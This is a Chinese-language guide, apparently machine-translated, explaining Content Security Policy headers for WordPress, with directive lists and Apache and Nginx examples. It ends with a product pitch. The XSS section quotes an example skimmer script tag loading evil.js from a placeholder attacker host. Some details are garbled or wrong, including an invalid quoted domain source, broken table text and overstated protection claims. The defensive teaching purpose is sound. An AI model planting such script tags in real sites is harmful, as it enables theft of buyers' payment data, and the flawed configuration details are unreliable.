内容安全策略 (CSP) 解释

已发表: 2023-04-18

随着网络安全威胁的快速发展,依靠单层防御已不足以保护您的在线状态。 这使得网站所有者必须采用多层安全方法,纵深防御的概念最能体现这种方法。

在网站和 Web 应用程序中,深度防御可以通过使用 HTTP 安全响应标头实施,专门设计用于在客户端实施额外的安全控制。 HTTP 响应标头是抵御针对 Web 应用程序的网络攻击的重要第二道防线。

作为关键的 HTTP 安全响应标头之一,内容安全策略 (CSP) 可以有效保护您的网站及其访问者免受跨站点脚本 (XSS) 和数据注入攻击的破坏性后果。

在本指南中,您将了解为什么内容安全策略是一个关键的 HTTP 安全标头,以及如何在您的网站上实施深度防御以成功缓解针对 WordPress 的各种复杂网络攻击。

内容安全政策

什么是 HTTP 响应标头?

HTTP 响应标头是在网站和 Web 应用程序中实现的一组控件,用于定义浏览器如何与请求的内容交互。 实施 HTTP 响应标头可以帮助网站所有者显着改善用户体验,并改善其网站的功能、性能和安全性。

由于少量信息与网站访问者请求的内容一起发送,因此 HTTP 响应标头会修改浏览器解释和处理从 Web 服务器收到的响应的方式。 虽然网站的内容和功能保持不变,但实施 HTTP 响应标头可以改变用户对它的看法。

HTTP 安全响应标头作为安全威胁的第二层防御

HTTP 响应标头的关键领域之一,例如内容安全策略,用于网站安全。 HTTP 响应标头提供的强大功能使其成为重要的第二道防线,可抵御许多针对 WordPress 等动态 Web 应用程序的网络攻击。

抵御网络攻击的第一道防线包括许多基于代码和服务器端的安全措施,这些措施可减少攻击面并消除应用程序级漏洞。 这包括使用安全编码实践、建立强大的访问控制策略以及实施 Web 应用程序防火墙来检查传入请求并过滤掉恶意流量。

虽然拥有强大的第一道防线是绝对必要的,但依赖单一的安全层仍然会使您的网站容易受到日益复杂的攻击。 可以轻松规避单个安全控制,特别是如果攻击者能够识别和利用未修补的漏洞。

内容安全策略和其他安全响应标头通过减少恶意攻击造成的危害来提供额外的保护层。 如果恶意黑客能够成功识别您网站上的漏洞,强大的第二道防线将使攻击者更难利用它。

什么是内容安全政策?

内容安全策略 (CSP) 是一种安全机制,用于定义允许网站或特定网页加载的内容的可信来源列表,以及为此使用的协议。 这可以包括脚本、样式表、图像和可以嵌入到网页中的其他类型的内容。

内容安全策略是一种强大的纵深防御安全控制,有助于阻止对当前网站之外的内容的未经授权的请求。 除此之外,CSP 还成功地阻止了内联脚本的执行并限制了不安全的动态代码的执行。

CSP作为HTTP安全响应头,将网站所有者配置的指令传递给访问者的浏览器。 然后,浏览器必须按照说明阻止未经内容安全策略规则授权的内容的传递。 这样,浏览器将看到某个网页引用了某些内容,但会拒绝加载它。

为什么内容安全策略如此重要?

作为第二道防线,内容安全策略在大多数情况下不会阻止攻击者破坏网站。 尽管如此,它仍将有助于减轻恶意软件感染的破坏性后果,阻止黑客利用它的企图。

即使出于窃取敏感信息或执行其他恶意活动的目的将恶意软件注入您的网站,强大的 CSP 策略也会确保您和您的客户的安全。 恶意行为者根本无法利用客户对您网站的信任,因为浏览器会首先阻止任何恶意代码的执行。

在您重新获得对网站的完全控制权并在网站遭到破坏后执行恶意软件清理的同时,能够阻止黑客利用您的网站的努力,这使得实施内容安全策略成为保护现代网站和 Web 应用程序的强大工具。

CSP 保护什么?

内容安全策略保护网站及其访问者免受恶意软件感染引发的一系列网络攻击,以及依赖托管在攻击者控制的资源上的恶意脚本的入侵企图。 这包括跨站点脚本 (XSS)、文件包含攻击和点击劫持,它们是内容安全策略缓解的三大攻击媒介。

跨站点脚本 (XSS)

跨站点脚本 (XSS) 是一种注入攻击,涉及将恶意代码插入网页。 代码将在网页加载时由浏览器执行,从而允许攻击者窃取敏感信息、劫持用户会话或分发恶意软件。

为了执行跨站点脚本攻击,黑客可以将恶意软件作为嵌入到 HTML 中的内联脚本注入,或者通过引用通常托管在攻击者控制的网站上的外部脚本来注入。 在内容渲染过程中,恶意代码会在用户不知情或未同意的情况下加载到用户的浏览器中并执行。

影响 WordPress 网站所有者的跨站点脚本攻击的一个很好的例子是将卡片窃取恶意软件注入 WooCommerce 结账,这将窃取购买者的付款信息。 用于执行跨站点脚本攻击的卡片分离器和其他类型的 JavaScript 嗅探器在网页的源代码中通常如下所示:

 <script type="text/javascript" src="https://hackerswebsite/evil.js"></script>

对于内联脚本,您会看到恶意代码嵌入到脚本标签中,甚至通过使用样式标签伪装成样式表。

缓解跨站点脚本是实施内容安全策略的主要目标。 通过阻止执行内联脚本、使用 eval 函数注入的不安全 Javascript 以及阻止从不受信任的源加载的脚本,内容安全策略 (CSP) 有效地降低了在网站上执行任意代码的风险。

文件包含攻击

文件包含攻击是内容安全策略可以缓解的另一种注入攻击。 作为一种入侵技术,远程文件包含攻击允许黑客利用不同网站区域的输入验证不佳来执行托管在外部资源上的恶意代码。

远程文件包含攻击通常利用 WordPress 插件和主题中未修补的漏洞,目的是通过安装 web shell 后门侵入网站。 与跨站点脚本缓解类似,内容安全策略将有效阻止所有可疑的外部脚本被注入网站,从而使攻击者几乎不可能利用远程文件包含 (RFI) 漏洞。

点击劫持

除了允许网站所有者定义受信任资源的列表以从中加载内容外,内容安全策略还可以帮助限制授权将网站内容嵌入框架内的网站列表。 这有助于减轻用户界面 (UI) 补救攻击,例如点击劫持,您的客户可能会通过打开在鱼叉式网络钓鱼攻击中发送给他们的可疑链接而成为受害者。

Content Security Policy frame-ancestors指令已成功替换X-Frame-Options标头,该标头现在已被大多数现代浏览器弃用。 这个和其他 CSP 指令对于 WordPress 安全性来说是绝对必要的。

内容安全策略指令

内容安全策略可帮助您指定一组规则(称为指令)来控制您的网站可以加载的内容来源。 内容安全策略指令是包含在所请求网页的 HTTP 标头中的指令列表,用于定义允许浏览器在该页面上加载的内容类型,以及可从中加载内容的可信源列表。

在可用的各种内容安全策略指令中,以下规则最常用于保护网站免受跨站点脚本 (XSS)、点击劫持和数据注入攻击。 以下所有 CSP 指令,除了frame-ancestorsform-actionupgrade-insecure-requests之外,都是获取指令,用于指定要从中加载内容的资源列表。 Frame-ancestorsform-action是导航指令,用于定义其他资源如何使用为其配置内容安全策略的网站内容。

  • default-src定义加载所有类型资源的策略,如果没有为特定类型的内容指定额外规则,浏览器将默认加载。
  • script-src指定可以从网站加载的 JavaScript 文件的可信来源。
  • style-src定义样式表 (CSS) 的有效来源列表。
  • img-src将可以从中加载图像的资源列入白名单。
  • media-src指定嵌入在 HTML <audio><video>元素中的音频和视频文件的可信来源
  • connect-src提供对XMLHttpRequestEventSourceWebSocket连接的控制。
  • child-src定义了可以通过框架包含在网页中的内容源。
  • frame-ancestors是一个导航指令,通过指定允许在框架中嵌入网站内容的资源列表来帮助减轻点击劫持攻击。
  • form-action限制 Web 表单可以提交信息的资源,防止数据泄露到攻击者控制的外部资源。
  • upgrade-insecure-requests指示浏览器将所有不安全的请求升级到HTTPS ,确保安全连接。

根据网站的类型及其提供的特定功能,网站所有者可能需要配置多个指令来控制从外部获取的所有内容源。

使用内容安全策略作为第二道防线确保充分保护免受跨脚本和注入攻击的行业标准是通过default-src指令将外部内容的有效来源限制为仅当前网站。 然后可以使用更有针对性的指令将特定类型内容的资源列入白名单,但拒绝所有其他资源是推荐的方法。

配置内容安全策略指令

每个内容安全策略指令都接受由统一资源定位器 (URL) 表示的值列表,其中应包括有效的 Web 地址,前面是协议、域名、通配符或特定值,例如'self''none'由 HTTP 响应标头提供。

以下是可以分配给内容安全策略指令的一些值实例:

指令值例子定义
* media-src* 通配符,用于允许从所有资源加载所有内容。
'self' default-src 'self'
frame-ancestors 'self';
将当前网站列入白名单,作为特定内容的唯一有效来源。 定义了严格的同源安全策略,推荐默认的Content Security Policy。

与 frame-ancestors 指令一起使用,禁止在网站本身以外的资源上构建内容框架。
'none' media-src 'none' 不允许从任何来源加载资源,包括同一网站。
domain.com
*.domain.com
img-sr c *.domain.com 允许从 domain.com 下的任何子域加载内容。
https://domain.com default-src 'https://domain.com' 允许仅通过 HTTPS 从指定域名获取内容。

默认情况下,无论指定的规则如何,内容安全策略都会阻止内联脚本的执行,并阻止网页执行文本到 JavaScript 的函数,例如恶意黑客常用的 eval。 在script-src内容安全策略指令中添加'unsafe-inline''unsafe-eval'值可以帮助网站所有者绕过限制,但这会使网站面临重大安全风险并破坏其他指令施加的保护.

以下 Content Security Policy 标头配置有效防止网站从外部资源加载内容,并禁止执行内联脚本和不安全的 JavaScript:

Content-Security-Policy "default-src 'self' https://mywebsite.com; frame-ancestors 'self'"

给定'self'值,frame-ancestors 指令通过阻止内容框架来减轻点击劫持攻击。

内容安全策略和内容交付网络 (CDN)

由于大多数内容分发网络(例如 Cloudflare)完全兼容内容安全策略,并且不会修改源服务器的 CPS 标头。 您不需要在您配置的安全规则中将任何其他资源列入白名单。

为 WordPress 实施内容安全策略

WordPress 提供了各种用于添加 HTTP 响应标头的插件,这对于非技术用户来说是一个不错的选择。 虽然这是一个方便的选项,但为您的 WordPress 网站设置内容安全策略等安全响应标头是一个简单的过程,不需要安装任何第三方软件。

mod_headers Apache 模块和ngx_http_headers_module Nginx 模块允许您为您的网站配置 HTTP 响应标头。 如果您使用的是 Nginx,则可以在网站的服务器 {} 块中包含add_header指令以配置 HTTP 响应标头。

同样,如果您使用 Apache 作为 Web 服务器,则可以使用“Header set”和“Header append”语句在文档根目录中找到的网站本地.htaccess文件中配置安全策略。 这样,您网站根目录中的 .htaccess 文件中指定的配置将应用于网站上的所有网页。

请务必注意,通过使用 Apache,您可以在本地(在.htaccess文件中)和服务器上所有网站的全局配置 HTTP 响应标头。 您的托管服务提供商可能会在全球范围内配置某些响应标头,尤其是当您使用共享托管计划时。 使用“Header set”方法配置 Content Security Policy 将完全覆盖现有的全局规则,而使用“Header append”会将您的新策略合并到现有的响应头中,而不是替换整个配置。

您可以添加下面的内容安全策略配置,以在您的 WordPress 网站上实施严格的安全控制

对于阿帕奇:

 Header set Content-Security-Policy "default-src 'self' https://mywebsite.com; frame-ancestors 'self';"

对于 Nginx:

 add_header Content-Security-Policy "default-src 'self' https://mywebsite.com; frame-ancestors 'self';"

制定满足您网站安全需求的内容安全策略配置可能需要进行一些测试,以及对网站功能的透彻了解。 此外,在您的 WordPress 站点上实施新的安全协议可能会导致功能丢失,因此仔细考虑任何更改的影响非常重要。 您可以联系您的托管服务提供商或联系您的开发人员,以确保安全标头配置正确并且不会造成任何负面后果。

使用 iThemes Security Pro 实施深度防御

在当今的威胁形势下,采用纵深防御策略至关重要。 对于像 WordPress 这样的现代动态 Web 应用程序,内容安全策略标头是纵深防御的核心,提供了一个关键的保护层来防止跨站点脚本 (XSS)、文件包含攻击、点击劫持和其他基于 Web 的攻击。

实施全面的纵深防御解决方案一直具有挑战性。 但是使用 iThemes Security Pro,一个强大而可靠的安全插件,您可以保护您的 WordPress 网站。 借助文件完整性监控、漏洞扫描、自动软件更新和无密码身份验证等功能,您可以放心,WordPress 网站的所有关键部分都受到保护,免受不断演变的安全威胁。